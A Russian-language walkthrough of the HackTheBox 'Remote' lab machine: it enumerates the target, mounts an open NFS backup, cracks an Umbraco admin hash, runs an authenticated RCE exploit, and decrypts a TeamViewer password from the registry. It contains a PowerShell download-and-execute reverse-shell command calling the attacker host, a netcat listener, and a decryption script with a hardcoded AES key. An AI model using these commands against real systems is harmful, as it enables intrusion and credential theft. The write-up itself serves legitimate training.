> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Запись HackTheBox Remote {% embed url="" %} {% hint style="warning" %} **Навыки**: * Веб-перечисление * Перечисление NFS - Showmount * Утечка информации * Использование панели администратора Umbraco * Umbraco CMS - удалённое выполнение кода аутентифицированными администраторами * Получение пароля TeamViewer из системного реестра (AES128 - CBC) (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:**/ Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**Анализ открытых портов с помощью extractport:**/ Использование функции extractport для краткого отображения открытых портов и копирования их в буфер обмена.

**Сканирование версий портов с помощью Nmap:**/ Используйте Nmap для сканирования версий служб и сохранения вывода в файл "targeted": ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

### Веб (порт 80): ```bash whatweb http://remote.htb ```

### SMB - порт 445 Список **SMB:** ```bash crackmapexec smb 10.10.10.180 ```

### **SMB Client (null session) :** ```bash smbclient -L 10.10.10.180 -N ```

### FTP (21) анонимный У нас есть возможность подключиться через FTP под анонимным пользователем, но мы не можем ни просматривать, ни добавлять файлы. ```bash ftp 10.10.10.180 put test.txt ```

## Служба NFS (порт 2049) {% hint style="info" %} Network File System (NFS) — протокол уровня приложений OSI. Он используется для создания файловых систем, распределённых в локальной сети, позволяя различным подключённым системам получать доступ к удалённым файлам так, как будто они локальные. {% endhint %} Чтобы вывести список файлов с помощью `mount`: ```bash showmount -e 10.10.10.180 ``` Мы видим `/site_backups` который виден всем.

Чтобы подключить этот файл, нужно создать каталог и смонтировать его на нашей машине следующим образом: ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

С `tree`, мы выведем все папки в дереве, чтобы получить представление: ``` tree -L 2 ``` Мы видим `.config` конфигурация и `sdf` папка из базы данных Umbraco (CMS) на порту 80.

У `.conf` файл не содержит ничего интересного, а `umbraco.sdf` — это двоичный файл.

Мы будем использовать `strings` чтобы отобразить видимые символы и поместить их в наш каталог для детального анализа: ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` Мы находим пароли "admin" и пользователя "smith".

### Взлом паролей: Admin (хэш): `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin: `baconandcheese` #### Поскольку SMB открыт, используем CrackMapExec для аутентификации и проверки доступа ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### без эффекта

## Уязвимость RCE (Umbraco CMS) Мы находим панель администрирования и попробуем аутентификацию под пользователем admin: `admin@htb.local:baconandcheese`

У нас есть доступ.

Мы будем искать `Searchsploit` уязвимости этой CMS и найдём NCE-скрипт для Umbraco.

`searchsploit -m aspx/webapps/46153.py` Мы изменим настройки логина, пароля и хоста в скрипте.

**Проверим связь с помощью ping:**/ Мы выполним эту команду на сервере и будем прослушивать с tcpdump ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

Как только мы увидим, что можем выполнять команды, мы загрузим `PS.ps1` скрипт в нашу систему. {% embed url="" %} В конце скрипта мы добавляем следующую строку: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

Мы создадим веб-сервер с помощью `PS.ps1` скрипта: ```bash python3 -m http.server 80 ``` Затем мы изменим команду, чтобы она указывала на наш веб-сервер: {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} Наконец, слушаем порт 4444: ```bash rlwrap nc -nlvp 4444 ```

Доступ к `user.txt` файла и обнаруживаем, что TeamViewer установлен

## Повышение привилегий: Если посмотреть на запущенные задачи, можно увидеть TeamViewer версии 7. ```powershell tasklist /svc ```

Просматривая скрипты Metasploit, мы находим один, который может извлечь пароль TeamViewer: ```powershell locate teamviewer | grep metasploit ```

При анализе скрипта сначала нужно получить ключ (в зависимости от версии) из реестра: `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` Затем следует изучить параметры безопасности, особенно AES-пароль: ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

Поместите следующие байты в `ciphertext`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Скрипт автоматизации на Python: Вот скрипт, который автоматизирует весь процесс: ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

Пароль: `!R3m0te!`. Проверим с помощью CrackMapExec, верен ли пароль для пользователя `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

Подключаемся с помощью Evil-WinRM, поскольку удалённая служба администрирования Windows активна на порту 5985:

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### Финальный root-флаг :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.